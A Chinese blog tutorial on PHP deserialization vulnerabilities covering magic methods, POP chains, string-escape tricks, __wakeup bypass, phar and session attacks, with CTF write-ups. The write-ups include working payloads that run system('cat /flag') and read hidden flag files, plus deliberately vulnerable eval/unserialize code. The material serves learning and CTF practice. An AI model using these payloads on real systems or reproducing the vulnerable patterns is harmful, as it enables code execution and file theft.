当前位置: 首页 > news >正文

PHP反序列化

一、PHP面向对象的基础知识

基本概念

1、面向过程VS面向对象

以做饭为例,面向过程是自己从原材料到成品全部自己做,面向对象相当于去饭店,点菜,等待结果(上菜)。

2、类的定义

类是定义了一件事物的抽象特点,它将数据的形式以及这些数据上的操作封装在一起。

对象是具有类类型的变量,是对类的实例。例如:水果是类,苹果是对象。

类的内部构成:成员变量(属性)+成员函数(方法)。

成员变量:定义在类内部的变量,该变量的值对外不可见,但是可以通过成员函数访问,在类被实例化为对象后,变量即可成为对象的属性。

成员函数:定义在类的内部,可用于访问对象的数据。

继承:继承性是子类自动共享父类数据结构和方法的机制,是类之间的一种关系。在定义和实现一个类的时候,可以在一个已经存在的类的基础之上来进行,把一个已经存在的类所定义的内容作为自己的内容,并加入若干新的内容。

父类:一个类被其他类继承,可将该类成为父类,或基类,超类。

子类:一个类继承其他类成为子类,或派生类。

具体内容

1、类与对象

  • 类的结构

类:定义类名、定义成员变量(属性)、定义成员函数(方法)

class Class_Name{
//成员属性声明
//成员方法声明
//可能还会有成员常量
}
  • 类的内容

class hero{//主类var $name;//声明成员变量var $sex;//var为一种修饰符function jineng($var1){//声明成员函数(方法)echo $this->name;//使用预定义$this调用成员变量echo $var1;//成员函数传参$var1可直接调用}
}
class hero2 extends hero{}//子类
  • 实例化和赋值

实例化:使用new,例如:

$a = new hero();
$a->name = 'abc';
$a->sex = 'nan';
printf_r($a);//或使用var_dump($a);

添加成员方法:

$a->jineng(var1:'奔跑');
  • 类的修饰符介绍

访问权限修饰符:对属性的定义。

常用:public(公共的,任何地方都可用)protected(受保护的,类的外部不能使用)privste(私有的,只有类的颞部可以使用)

修饰符类的内部类的子类类的外部
public可用可用可用
protected可用可用不可用
private可用不可用不可用

代码展示:

class hero{//主类public $name='a';private $sex='nan';protected $shengao='165';function jineng($var1){echo $this->name;echo $var1;}
}
class hero2 extends hero{function text(){echo $this->name;echo $this->sex;//报错echo $this->shengao;}
}
$a=new hero();
$a2=new hero2();
echo $a->name;
echo $a2->test();

函数是实现的某个独立的功能;

成员方法实现是类的一个行为,是类的一部分。

一个类可以声明很多成员方法,成员方法的声明和函数声明完全一样,只不过在声明成员方法时可以在function关键字前加一些访问权限修饰符。默认为public。

二、序列化基础知识

1、序列化的作用

序列化是将对象的状态信息转化为可以存储或传输的过程,方便数据的储存和传输。

2、表达方式

<?php
$a=null;
echo serialize($a);//serialize()是序列化的意思,反序列化是unserialize。
?>
//数组
<?php
$a = array('benben','dazhuang','laowang');
echo $a[0];
echo serialize($a);
?>

序列化结果:

空字符:null->N;
整型:666->i:666;
浮点型:66.6->d:66.6;
boolean(布尔)型:true->b:1;false->b:0;
字符串:'benben'->s:6(后面字符串的长度):"benben";
数组:array('benben','dazhuang','laowang');->a(array):3(参数数量):{i:0(编号);s:6:"benben";i:1;s:8:"dazhuang";i:2;s:7:"laowang";}

对象序列化:

<?phpclass test{public $pub='benben';function jineng(){echo $this->pub;}
}
$a = new test();
echo serialize($a);
?>
序列化只序列化成员属性,不序列化成员方法。
序列化结果:
O(object):4(类名长度):"test"(类名):1(属性数量):{s:3(变量名字长度):"pub"(变量名字);s:6(变量值的长度):"benben"(变量值);}

如果类里面的成员属性为私有属性,则会在变量名前加“%00类名%00”,对于上面test类的序列化则变为:

O:4:"test":1:{s:9:"空test空pub";s:6:"benben";}
test前后的%00不会直接显示出来,在编译器中只能看见两个空,此时可以使用url编码即可看到;
echo urlencode(serialize($a));

若类里面的成员变量为受保护(protected)的话序列化结果是在变量名前加”%00*%00“。即将私有的中的类名换成一个星号。

在对象中调用对象

<?php
class test{var $pub='benben';function jineng(){echo $this->pub;}
}
class test2{var $ben;function __construct(){$this->ben=new test();}
}
$a = new test2();
echo serialize($a);
?>
序列化结果:
O:5:"test2":1:{s:3:"ben";O:4:"test":1:{s:3:"pub";s:6:"benben";}}

3、反序列化特性

  • 反序列化之后的内容为一个对象

代码展示:

<?php
class test{public $a='benben';protected $b=666;private $c=false;public function displayvar(){echo $this->a;}
}
$d ='O:4:"test":3:{s:1:"a";s:6:"benben";s:4:"%00*%00b";i:666;s:7:"%00test%00c";b:0;}';
$d=urldecode($d);
var_dump(unserialize($d));
?>
  • 反序列化生成的对象里的值,由反序列化里的值提供;与原有类预定义的值无关;

<?php
class test{public $a='benben';protected $b=666;private $c=false;public function displayvar(){echo $this->a;}
}
$d ='O:4:"test":3:{s:1:"a";s:8:"dazhuang";s:4:"%00*%00b";i:666;s:7:"%00test%00c";b:0;}';
$d=urldecode($d);
var_dump(unserialize($d));
?>

将代码中反序列化内容做更改,发现结果出现的是dazhuang而不是benben。与test类无关。

  • 反序列化不触发类的成员方法;需要调用方法后才能触发;

<?php
class test{public $a='benben';protected $b=666;private $c=false;public function displayvar(){echo $this->a;}
}
$d ='O:4:"test":3:{s:1:"a";s:8:"dazhuang";s:4:"%00*%00b";i:666;s:7:"%00test%00c";b:0;}';
$d=urldecode($d);
$d=unserialize($d);
$d->displayvar();
?>
此时输出结果是dazhuang。
依然与原定义的类无关,而与反序列化的结果有关。

4、反序列化漏洞

成因:反序列化过程中,unserizlize()接受到的值(字符串)可控;

通过更爱这个值(字符串),得到所需要的代码;

通过调用方法,触发代码执行。

<?php
class test{public $a='echo "this is test"';public function displayvar(){eval($this->a);//将a代表的字符串作为代码执行}
}
$get=$_GET["benben"];//通过对benben传参,修改$a的值,从而运行自己想运行的代码。
$b=unserialize($get);
$b->displayvar();//调用成员方法
?>

三、魔术方法

1、魔术方法简介

定义:一个预定好的,在特定情况下自动触发的行为方法。

作用:魔术方法在特定的条件下自动调用相关方法,最终导致触发代码。

相关机制:触发时机(必须知道)、功能、参数(部分魔术方法会有传参)、返回值

2、魔术方法

__construct()

构造函数,在实例化一个对象的时候,首先会去自动执行的魔术方法;

触发时机:实例化对象时触发。

功能:提前清理不必要内容。

参数:非必要

__destruct()

析构函数,在对象的所以引用被删除或者当对象被显式销毁时执行的魔术方法。

触发时机:对象引用完成或对象被销毁(获取几次对象就触发几次,因为建立对象一定会有销毁过程,实例化后会触发,反序列化后会触发)

无参数

__sleep()

序列化serialize()函数会检查类中是否存在一个魔术方法__sleep()。

如果存在,该方法会先被调用,然后才执行序列化的操作。

触发时机:序列化serialize()之前

功能:对象被序列化之前触发,返回需要被序列化存储的成员属性,删除不必要的属性。

参数:成员属性

返回值:需要被序列化的成员属性

__wakeup()

unserialize()会检查是否存在一个__wakeup()魔术方法。

如果存在,则会调用__wakeup()方法,预先准备对象需要的资源。

触发时机:反序列化unserialize()之前

功能:常用于反序列化操作中重新建立数据库连接或执行其他初始化操作。

__tostring()

触发时机:把对象当成字符串调用

常用于构造POP链;

__invoke()

触发时机:把对象当成函数调用

__call()

触发时机:调用一个不存在的成员方法

参数:两个参数,第一个参数是调用的不存在的函数名,第二个参数是调用时传参数据。

返回值:不存在的成员方法的名称,调用时的参数

__callStatic()

触发时机:静态调用或调用成员常量时使用的方法不存在

参数:两个参数

返回值:不存在的成员方法的名称,调用时的参数

<?php
class test{public function __callStatic($arg1,$arg2){echo "$arg1,$arg2[0]";}
}
$test=new test();
$test::callxxx('a');//静态调用
?>

__get()

调用时机:调用的成员属性不存在

参数:一个参数

返回值:不存在的成员属性的名称

__set()

触发时机:给不存在的成员属性赋值

参数:两个参数

返回值:不存在的成员属性的名称和赋的值

__isset()

触发时机:对不可访问属性使用isset()或empty()时,__isset()会被调用。

参数:一个参数

返回值:不存在的成员属性的名称

__unset()

触发时机:对不可访问的属性使用unset()时

参数:一个参数

返回值:不存在的成员属性的名称

__clone()

触发时机:当使用clone关键词拷贝完成一个对象后,新对象会自动调用有定义的魔术方法__clone()

总结(在别的师傅那里截的图):

四、POP链的构造思路知识

1、成员属性赋值对象

<?php
class index{private $test;public function __construct(){$this->test=new normal;}public function __destruct(){//反序列化结束会触发__destruct函数$this->test->action();//在此可以调用action函数,}
}
class normal{public function action(){echo "please attack me";}
}
class evil{var $test2;public function action(){eval($this->test2);//可利用的漏洞在eval()(可执行命令),eval()调用test2。}
}
unserialize($_GET['test']);//反推法
?>

2、魔术方法触发规则

魔术方法触发的前提:魔术方法所在的类(或对象)被调用。

3、POP链构造,POC编写

在反序列化中,我们能控制的数据就是对象中的属性值(成员变量),所以在PHP反序列化中有一种漏洞利用方法叫“面向属性编程”,即POP。

POP链就是利用魔术方法在里面进行多次跳转然后获取敏感数据的一种apyload。

POC中文译为概念验证,在安全界可以理解成漏洞验证程序。POC是一段不完整的程序,仅仅是为了证明提出者的观点的一段代码。

【PHP反序列化漏洞学习】 0x013 pop链构造解释_哔哩哔哩_bilibili

五、字符串逃逸

1、字符减少

字符串减少逃逸:多逃逸一个成员属性。第一个字符串减少,吃掉有效代码,在第二个字符串构造代码。

确保反序列化的数据成员属性一致,成员属性名称长度一致,内容长度一致才可以反序列化成功,否则是false。在前面字符串没有问题的情况下;}是反序列化的结束符,后面的字符串不影响反序列化结果。

<?php
class A{public $v1="abcsystem()";public $v2="123";
}
$data=serialize(new A());
$data=str_replace("system()","",$data);//str_replace在这里的作用是将data里面的system()删除。
var_dump(unserialize($data));

因为字符是指令性符号还是字符串是由前面的字符数量决定的,所以可以通过调整system()的数量进行删除,从而使后面的指令型代码变为字符串,最后的字符串作为指令性代码进行执行,达到想要的结果。下面是在别的师傅那里截的图。

<?php
class A{public $v1="abcsystem()system()system()";public $v2='1234567";s:2:"v3";s:3:"123";}';
}
$data=serialize(new A());
$data=str_replace("system()","",$data);
var_dump(unserialize($data));

运行这段代码,会出现三个成员属性v1(abc";s:2:"v2";s:29:"1234567),v2(1234567";s:2:"v3";s:3:"123";}),v3(123)。这样就通过字符串的逃逸产生出了v3。

2、字符增多

字符串增多逃逸:构造出一个逃逸成员属性。第一个字符串增多,吐出多余代码,把多余位代码构造成逃逸的成员属性。

字符增多是通过替换,使得字符数量少于字符数量从而导致最后的字符被作为指示性命令执行。

3、wakeup绕过

漏洞产生原因:如果存在wakeup方法,调用unserilize()方法前则先调用wakeup方法,但是序列化字符串中表示对象属性个数的值大于真实的属性个数时,会跳过wakeup的执行。

4、引用的利用方式(类似C语言指针)

<?php
class just4fun{var $enter;var $secret;
}
$a->enter = &$a->secret;//enter和secret的值完全相同。

六、session反序列化漏洞

当session_start()被调用或者php.ini中session.auto_start为1时,PHP内部调用会话管理器,访问用户session被序列化以后,存储到指定目录(默认为/tmp)。

漏洞产生:写入格式和读取格式不一致。

处理器对应的存储格式
php键名+竖线+经过serialize()函数序列化处理的值
php_serialize(php>=5.5.4)经过serialize()函数序列化处理的数组
php_binary键名的长度对应的ASCLL字符+键名+经过serialize()函数序列化处理的值

七、phar反序列化

1、什么是phar

JAR是开发java程序一个应用,包括所有的可执行、可访问的文件,都打包进了一个JAR文件里,使得部署过程非常简单。

PHAR是PHP里类似JAR的一种打包文件。对于PHP5.3或更高版本,Phar后缀文件是默认开启支持的可以直接使用它。

文件包含:phar为协议,可读取.phar文件。

可以理解为一个压缩包。

2、phar结构

stub phar 文件标识,格式为xxx<?php xxx;__HALT__COMPILER();?>;

manifest 压缩文件的属性等信息,以序列化存储;(重点关注)

contents 压缩文件的内容;

signature 签名,放在文件末尾;

Phar协议解析文件时,会自动触发对manifest字段的序列化字符串进行反序列化

3、phar漏洞原理

manifest压缩文件的属性等信息,以序列化存储;存在一段序列化的字符串;调用phar伪协议,可读取.phar文件;phar协议解析文件时,会自动触发对manifest字段的序列化字符串进行反序列化。

4、Phar使用条件

  • Phar文件能上传到服务器;

  • 要有可用反序列化魔术方法作为跳板;

  • 要有文件操作函数,如file_exists(),fopen(),file_get_contents()

  • 文件操作函数参数可控,且:、/、phar等特殊字符没有被过滤。

攻防世界

unserialize3

打开本题,可看到一下代码:

class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=

根据代码,我们需要进行__wakeup绕过然后获取flag,要注入的参数为code。

让成员属性个数大于类中真实的个数即可:?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}

Web_php_unserialize

打开题目,得到以下代码:

<?php 
class Demo { private $file = 'index.php';public function __construct($file) { $this->file = $file; }function __destruct() { echo @highlight_file($this->file, true); }function __wakeup() { if ($this->file != 'index.php') { //the secret is in the fl4g.php$this->file = 'index.php'; } } 
}
if (isset($_GET['var'])) { $var = base64_decode($_GET['var']); if (preg_match('/[oc]:\d+:/i', $var)) { die('stop hacking!'); } else {@unserialize($var); } 
} else { highlight_file("index.php"); 
} 
?>

根据代码,变量var经过base64解码后进行正则匹配,若匹配到o或c,则输出stop hacking!相反,则进行序列化。

输入:index.php?var=O:+4:"Demo":2:{s:10:"%00Demo%00file";s:8:"fl4g.php";}

编码后:index.php?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

NSSCTF

1z_unserialize

打开题目,获得以下代码:

<?phpclass lyh{public $url = 'NSSCTF.com';public $lt;public $lly;function  __destruct(){$a = $this->lt;
​$a($this->lly);}}
unserialize($_POST['nss']);
highlight_file(__FILE__);?> 

根据代码,构造it与lly的值即可,注意本题为POST传参。

输入:nss=O:3:"lyh":2:{s:2:"lt";s:6:"system";s:3:"lly";s:2:"ls";}
​
nss=O:3:"lyh":2:{s:2:"lt";s:6:"system";s:3:"lly";s:9:"cat /flag";}

ez_ez_unserialize

打开题目,获得以下代码:

<?php
class X 
{public $x = __FILE__;function __construct($x){$this->x = $x; }function __wakeup(){if ($this->x !== __FILE__) {$this->x = __FILE__;} }function __destruct(){highlight_file($this->x); //flag is in fllllllag.php}
}
if (isset($_REQUEST['x'])) {@unserialize($_REQUEST['x']);
} else {highlight_file(__FILE__);
} 

根据代码,需要绕过wakeup函数。

输入:x=O:1:"X":2:{s:1:"x";s:13:"fllllllag.php";}

ez_unserialize

这个题需要在题目后面加/robots.txt打开会发现cl45s.php文件。打开文件,可获得以下代码:

需要对p进行传参使其满足$this->admin=="admin"&&$this->passwd=="ctf"。

输入:?p=O:4:wllm:2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}

相关文章:

PHP反序列化

一、PHP面向对象的基础知识 基本概念 1、面向过程VS面向对象 以做饭为例&#xff0c;面向过程是自己从原材料到成品全部自己做&#xff0c;面向对象相当于去饭店&#xff0c;点菜&#xff0c;等待结果&#xff08;上菜&#xff09;。 2、类的定义 类是定义了一件事物的抽象…...

6、原来可以这样理解C语言_函数(7/8)嵌套调⽤和链式访问

目录 七、嵌套调⽤和链式访问 七、&#xff08;1&#xff09;、嵌套调⽤ 七、&#xff08;2&#xff09;、链式访问 七、嵌套调⽤和链式访问 七、&#xff08;1&#xff09;、嵌套调⽤ 嵌套调⽤就是函数之间的互相调⽤&#xff0c;每个函数就⾏⼀个乐⾼零件&#xff0c;正是因…...

安装 Jenkins 后无法访问用户名或密码且忘记这些凭证怎么办?

Jenkins 是一款功能强大的自动化服务器&#xff0c;在持续集成与交付&#xff08;CI/CD&#xff09;领域应用广泛。不过&#xff0c;用户在使用过程中&#xff0c;尤其是首次接触该系统或系统重启后&#xff0c;常常会遇到登录方面的问题。要是 Jenkins 突然要求输入用户名和密…...

VIVADO FIFO (同步和异步) IP 核详细使用配置步骤

VIVADO FIFO (同步和异步) IP 核详细使用配置步骤 目录 前言 一、同步FIFO的使用 1、配置 2、仿真 二、异步FIFO的使用 1、配置 2、仿真 前言 在系统设计中&#xff0c;利用FIFO&#xff08;first in first out&#xff09;进行数据处理是再普遍不过的应用了&#xff0c…...

49_Lua调试

Lua提供了debug库用于创建自定义调试器,尽管Lua本身没有内置的调试器1。这个库允许开发者在程序运行时检查和控制执行流程,这对于开发过程中的错误查找和修复非常有用。 1.Debug库概述 debug库提供的函数可以分为两类:自省函数(introspection functions)和钩子函数(hoo…...

SR-BE 笔记和实验

一、笔记&#xff1a; SR不需要mpls&#xff0c;但要配置 mpls lsr-id 不需要MPLS LDP分标签&#xff0c;但仍然需要依赖IGP来分标签 fish—TE问题 SPF&#xff1a;Shortest Path First 最短路径算法 CSPF&#xff1a;Constrained SPF 受约束的SPF算法 BGP-LS&#xff1a; SR…...

实力认证 | 海云安入选《信创安全产品及服务购买决策参考》

近日&#xff0c;国内知名安全调研机构GoUpSec发布了2024年中国网络安全行业《信创安全产品及服务购买决策参考》&#xff0c;报告从产品特点、产品优势、成功案例、安全策略等维度对各厂商信创安全产品及服务进行调研了解。 海云安凭借AI大模型技术在信创安全领域中的创新应用…...

pytorch张量分块投影示例代码

张量的投影操作 背景 张量投影 是深度学习中常见的操作,将输入张量通过线性变换映射到另一个空间。例如: Y=W⋅X+b 其中: X: 输入张量(形状可能为 (B,M,K),即批量维度、序列维度、特征维度)。W: 权重矩阵((K,N),将 K 维投影到 N 维)。b: 偏置向量(可选,(N,))。Y:…...

Elasticsearch二次开发:实现实时定时同步同义词、近义词与停用词

Elasticsearch二次开发&#xff1a;实现实时定时同步同义词、近义词与停用词 引言 Elasticsearch&#xff08;ES&#xff09;作为开源搜索引擎的典范&#xff0c;以其强大的全文搜索、结构化搜索以及分析能力&#xff0c;在各个领域得到了广泛应用。在复杂的搜索场景中&#…...

Linux 常用文件查看命令

目录 cat 命令&#xff1a;连接与查看 more/less 命令&#xff1a;分页查看 tail 命令&#xff1a;实时追踪 cat 命令&#xff1a;连接与查看 基本功能&#xff1a;用于连接文件并打印到标准输出设备上&#xff0c;常用于查看文件内容。当有多个文件作为参数时&#xff0c;会…...

智能家居篇 一、Win10 VM虚拟机安装 Home Assistant 手把手教学

智能家居篇 一、Win10 VM虚拟机安装 Home Assistant 手把手教学 文章目录 [智能家居篇]( )一、Win10 VM虚拟机安装 Home Assistant 手把手教学 前言一.下载Vm版本的HomeAsistant安装包 二.打开Vmware选择新建虚拟机1.选择自定义高级2.选择16.x及以上3.选择稍后安装4.根据官网的…...

端口镜像和端口安全

✍作者&#xff1a;柒烨带你飞 &#x1f4aa;格言&#xff1a;生活的情况越艰难&#xff0c;我越感到自己更坚强&#xff1b;我这个人走得很慢&#xff0c;但我从不后退。 &#x1f4dc;系列专栏&#xff1a;网络安全从菜鸟到飞鸟的逆袭 目录 一&#xff0c;端口镜像二&#xf…...

打造更安全的Linux系统:玩转PAM配置文件

在Linux系统中&#xff0c;用户认证是确保系统安全的关键步骤。PAM&#xff08;可插拔认证模块&#xff09;为我们提供了一个非常灵活的框架&#xff0c;帮助我们管理各种服务的认证过程。其中&#xff0c;/etc/pam.d目录是PAM配置的核心部分&#xff0c;这里存放了每个服务所需…...

猫咪智商相当于人的几岁?

猫咪&#xff0c;这个神秘又高冷的物种&#xff0c;总能让我们又爱又恨。它们时而撒娇卖萌&#xff0c;时而独立自主&#xff0c;让人琢磨不透。那么&#xff0c;问题来了&#xff0c;猫咪的智商到底相当于人的几岁呢&#xff1f;今天&#xff0c;就来给大家好好揭秘一下喵星人…...

软件设计大致步骤

由于近期在做软件架构设计&#xff0c;这里总结下大致的设计流程 软件设计流程 1 首先要先写系统架构图&#xff0c;将该功能在整个系统的位置以及和大致的内部模块划分 2 然后写内部的结构图&#xff0c;讲内部的各个子系统&#xff0c;模块&#xff0c;组件之间的关系和调用…...

Elasticsearch入门学习

Elasticsearch是什么 Elasticsearch 是一个基于 Apache Lucene 构建的分布式搜索和分析引擎、可扩展的数据存储和矢量数据库。 它针对生产规模工作负载的速度和相关性进行了优化。 使用 Elasticsearch 近乎实时地搜索、索引、存储和分析各种形状和大小的数据。 特点 分布式&a…...

Mac安装配置使用nginx的一系列问题

brew安装nginx https://juejin.cn/post/6986190222241464350 使用brew安装nginx&#xff0c;如下命令所示&#xff1a; brew install nginx 如下图所示&#xff1a; 2.查看nginx的配置信息&#xff0c;如下命令&#xff1a; brew info nginxFrom:xxx 这样的&#xff0c;是n…...

Elasticsearch Python 客户端是否与自由线程 Python 兼容?

作者&#xff1a;来自 Elastic Quentin_Pradet 在这篇文章中&#xff0c;我们将进行一些实验&#xff0c;看看 Python Elasticsearch 客户端是否与新的 Python 3.13 自由线程&#xff08;free-threading&#xff09;版本兼容&#xff0c;其中 GIL 已被删除。 介绍 但首先&…...

ROS2 的所有控制台命令

以下是 ROS2 的控制台命令&#xff1a; 编译 colcon是ros的构建工具 sudo apt install python3-colcon-common-extensions 如只编译 turn_robot colcon build --packages-select turn_robot 编译全部功能包 colcon build source source /home/sukai/turn_robot/install…...

深入理解 Entity、VO、QO、DTO 的区别及其在 MVC 架构中的应用

文章背景 在现代软件开发中&#xff0c;我们经常会接触到各种数据结构的概念&#xff0c;比如 Entity、VO&#xff08;Value Object&#xff09;、QO&#xff08;Query Object&#xff09;、DTO&#xff08;Data Transfer Object&#xff09;等。这些概念尽管看似相似&#xff…...

角色认知培训

课程记录 需求传达的时候先强调重点&#xff0c;理清需求的过程中&#xff0c;大家一起分析 一开始单线程&#xff0c;总结复盘&#xff0c;提升效率&#xff0c;变成多线程 心态 2、复盘能力&#xff0c;每次优化策略 优化 团结、执行、 3、 头马的理解&#xff1f; 小…...

记录一次微信小程序使用云能力开发的过程

对于开发微信小程序云开发不知从何起的同学们&#xff0c;可以当作一次参考。虽说官方有文档&#xff0c;有模板示例&#xff0c;但是这些都是片段或者完整的结果展示。对于初学或者开发经验较少的同学们&#xff0c;可能不知先从那里入手进行第一步的开发。下面解析下构建微信…...

vim将一行行尾倒数第三个字符替换成1

%s/\v(.)(.)(.)(.)$/1\2\3\4\v:very magic模式&#xff0c;可以省略转义符 &#xff08;.&#xff09;:圆括号的分组功能&#xff0c;将括号匹配内容放到第一个寄存器里面&#xff0c;第二个括号匹配内容放到第二个寄存器里面。 $:匹配行尾字符 \2:第二个括号匹配内容 \3:第三个…...

Kafka权威指南(第2版)读书笔记

目录 Kafka生产者——向Kafka写入数据生产者概览创建Kafka生产者bootstrap.serverskey.serializervalue.serializer 发送消息到Kafka同步发送消息异步发送消息 生产者配置client.idacks消息传递时间max.block.msdelivery.timeout.msrequest.timeout.msretries 和retry.backoff.…...

Yolov8 目标检测剪枝学习记录

最近在进行YOLOv8系列的轻量化&#xff0c;目前在网络结构方面的优化已经接近极限了&#xff0c;所以想要学习一下模型剪枝是否能够进一步优化模型的性能 这里主要参考了torch-pruning的基本使用&#xff0c;v8模型剪枝&#xff0c;Jetson nano部署剪枝YOLOv8 下面只是记录一个…...

5G+工业互联网迈入规模化发展新阶段

百度安全验证 https://blog.csdn.net/qq_25467441/article/details/145036191?sharetypeblogdetail&sharerId145036191&sharereferPC&sharesourceqq_25467441&spm1011.2480.3001.8118 好看视频-轻松有收获 产业供给加速提升。国内主流模组厂商引领全球5G模组…...

WOA-Transformer鲸鱼算法优化编码器时间序列预测(Matlab实现)

WOA-Transformer鲸鱼算法优化编码器时间序列预测&#xff08;Matlab实现&#xff09; 目录 WOA-Transformer鲸鱼算法优化编码器时间序列预测&#xff08;Matlab实现&#xff09;预测效果基本介绍程序设计参考资料 预测效果 基本介绍 1.Matlab实现WOA-Transformer鲸鱼算法优化编…...

「刘一哥GIS」系列专栏《GRASS GIS零基础入门实验教程(配套案例数据)》专栏上线了

「刘一哥GIS」系列专栏《GRASS GIS零基础入门实验教程》全新上线了&#xff0c;欢迎广大GISer朋友关注&#xff0c;一起探索GIS奥秘&#xff0c;分享GIS价值&#xff01; 本专栏以实战案例的形式&#xff0c;深入浅出地介绍了GRASS GIS的基本使用方法&#xff0c;用一个个实例讲…...

Spring boot面试题---- Spring boot项目运行原理

1.启动流程概述 Spring Boot 的启动是从一个带有main方法的主类开始的。这个主类通常会有一个@SpringBootApplication注解。这个注解是一个组合注解,它包含了@Configuration、@EnableAutoConfiguration和@ComponentScan。@Configuration注解表明这个类是一个配置类,它可以定义…...

HTML基础与实践

目录 HTML 结构 认识 HTML 标签 HTML 文件基本结构 标签层次结构 快速生成代码框架 HTML 常见标签 注释标签 标题标签: h1-h6 段落标签: p 换行标签: br 格式化标签 图片标签: img 超链接标签: a ​编辑链接的几种形式: 表格标签 基本使用 合并单元格 …...

码编译安装httpd 2.4,测试

下载链接&#xff1a;https://dlcdn.apache.org/httpd/httpd-2.4.62.tar.gz [rootopenEuler-1 ~]# yum install gcc gcc-c make -y [rootopenEuler-1 ~]# ll /root total 9648 -rw-------. 1 root root 920 Jan 10 17:15 anaconda-ks.cfg -rw-r--r-- 1 root root 9872432…...

计算机网络 (45)动态主机配置协议DHCP

前言 计算机网络中的动态主机配置协议&#xff08;DHCP&#xff0c;Dynamic Host Configuration Protocol&#xff09;是一种网络管理协议&#xff0c;主要用于自动分配IP地址和其他网络配置参数给连接到网络的设备。 一、基本概念 定义&#xff1a;DHCP是一种网络协议&#xf…...

赛灵思(Xilinx)公司Artix-7系列FPGA

苦难从不值得歌颂&#xff0c;在苦难中萃取的坚韧才值得珍视&#xff1b; 痛苦同样不必美化&#xff0c;从痛苦中开掘出希望才是壮举。 没有人是绝对意义的主角&#xff0c; 但每个人又都是自己生活剧本里的英雄。滑雪&#xff0c;是姿态优雅的“贴地飞行”&#xff0c;也有着成…...

【计算机体系结构、微架构性能分析】core 与 uncore 分别是哪一些部分?区分 core 和 uncore

在计算机体系结构中&#xff0c;Core 和 Uncore 是描述处理器内部架构的两个重要概念&#xff0c;尤其在多核处理器中更为常见。 1. Core&#xff08;核心&#xff09; Core 指的是处理器中的计算核心&#xff0c;是执行指令和处理数据的基本单元。每个核心都包含独立的执行单…...

基于 K-Means 聚类分析实现人脸照片的快速分类

注:本文在创作过程中得到了 ChatGPT、DeepSeek、Kimi 的智能辅助支持,由作者本人完成最终审阅。 在 “视频是不能 P 的” 系列文章中,博主曾先后分享过人脸检测、人脸识别等相关主题的内容。今天,博主想和大家讨论的是人脸分类问题。你是否曾在人群中认错人,或是盯着熟人的…...

Ubuntu更改apache的服务端口

1.介绍 承接上文&#xff0c;上文介绍了如何利用apache快速部署自己的网页&#xff0c;直接访问localhost就能打开网页的界面&#xff0c;这里其实是直接用了Ubuntu的80端口访问&#xff0c;如果我想换一个端口访问呢&#xff1f;应该怎么实现&#xff1f; 这一篇文章就来教你&…...

9.7 visual studio 搭建yolov10的onnx的预测(c++)

1.环境配置 在进行onnx预测前&#xff0c;需要搭建的环境如下: 1.opencv环境的配置&#xff0c;可参考博客:9.2 c搭建opencv环境-CSDN博客 2.libtorch环境的配置&#xff0c;可参考博客&#xff1a;9.4 visualStudio 2022 配置 cuda 和 torch (c)-CSDN博客 3.cuda环境的配置…...

“飞的”点外卖,科技新潮流来袭

一、开篇引入 上个周末&#xff0c;阳光正好&#xff0c;我带着孩子去公园游玩。公园里绿草如茵&#xff0c;花朵绽放&#xff0c;孩子们在草地上嬉笑奔跑&#xff0c;好不快活。玩累了&#xff0c;我们便在草坪上的帐篷里休息。 就在这时&#xff0c;天空中突然传来一阵嗡嗡…...

kubernetes v1.29.XX版本HPA、KPA、VPA并压力测试

序言&#xff1a; 在大型电商、购物、直播活动期间&#xff0c;对于火爆流量的激增&#xff0c;如何保障业务稳定并且做到资源不浪费&#xff0c;自动回收。 场景&#xff1a;kubernetes 原生容器化承载业务流量&#xff08;非云环境&#xff09; 方案&#xff1a;kubernetes自…...

java使用poi-tl自定义word模板导出

文章目录 概要整体架构流程创建word模板核心代码导出结果 概要 在软件开发领域&#xff0c;自定义Word模板的使用是导出格式化数据的一种常见做法。poi-tl&#xff08;Apache POI Template Language&#xff09;作为一款基于广受认可的Apache POI库的Word模板引擎&#xff0c;…...

云手机技术怎么实现的?

前言 随着亚矩阵云手机在跨境电商、海外社媒矩阵搭建、出海运营、海外广告投放、国内新媒体矩阵运营、品牌应用矩阵运营等领域内的普及和使用&#xff0c;云手机的理念已经被越来越多人所接受和认同。今天我们就一起来浅析一下&#xff0c;到底云手机的技术是怎么实现的&#…...

本地部署Web-Check网站检测与分析利器并实现远程访问实时监测

文章目录 前言1.关于Web-Check2.功能特点3.安装Docker4.创建并启动Web-Check容器5.本地访问测试6.公网远程访问本地Web-Check7.内网穿透工具安装8.创建远程连接公网地址9.使用固定公网地址远程访问 前言 本文我们将详细介绍如何在Ubuntu系统上使用Docker部署Web-Check&#xf…...

简洁明快git入门及github实践教程

简洁明快git入门及github快速入门实践教程 前言git知识概要&#xff1a;一&#xff1a;什么是 Git&#xff1f;二&#xff1a;安装 Git三&#xff1a;配置 Git配置git的用户名和邮箱地址创建仓库 四&#xff1a;Git实践五&#xff1a;远程仓库操作&#xff08;基于git命令使用G…...

doris:本地文件导入

Doris 提供多种方式从本地数据导入&#xff1a; Stream Load Stream Load 是通过 HTTP 协议将本地文件或数据流导入到 Doris 中。Stream Load 是一个同步导入方式&#xff0c;执行导入后返回导入结果&#xff0c;可以通过请求的返回判断导入是否成功。支持导入 CSV、JSON、Pa…...

【网络安全】FortiOS Authentication bypass in Node.js websocket module

文章目录 漏洞说明严重等级影响的产品和解决措施推荐阅读 漏洞说明 FortiOS存在一个使用替代路径或者信道进行身份验证绕过漏洞&#xff0c;可能允许未经身份验证的远程攻击者透过向Node.js WebSocket模块发送特别设计的请求&#xff0c;可能获得超级管理员权限。 Fortinet 官…...

原型与原型链

建议大家看的时候手动画图&#xff01;&#xff01;&#xff01;这点很重要&#xff01;&#xff01;&#xff01; 原型链在结构上很像链表&#xff0c;每个对象中都保存着一个地址&#xff0c;指向当前对象的原型&#xff0c;可以层层向上查找&#xff0c;起到继承的效果。 …...

TIM定时中断

TIM定时中断 文章目录 TIM定时中断1.TIM定时器1.1定时器的定义1.1.1基本定时器1.1.2通用定时器1.1.3高级定时器 2.计数器有预装时序3.定时器结构及涉及的函数解析3.1定时中断基本结构3.2实现步骤3.3TIM本小节的库函数解释说明3.4计数器计数频率和计数器溢出频率 4.定时器定时中…...

Windows 上的 MySQL 8.4.3 和 WSL(Ubuntu)的 MySQL 8.0.40 之间配置 主从同步

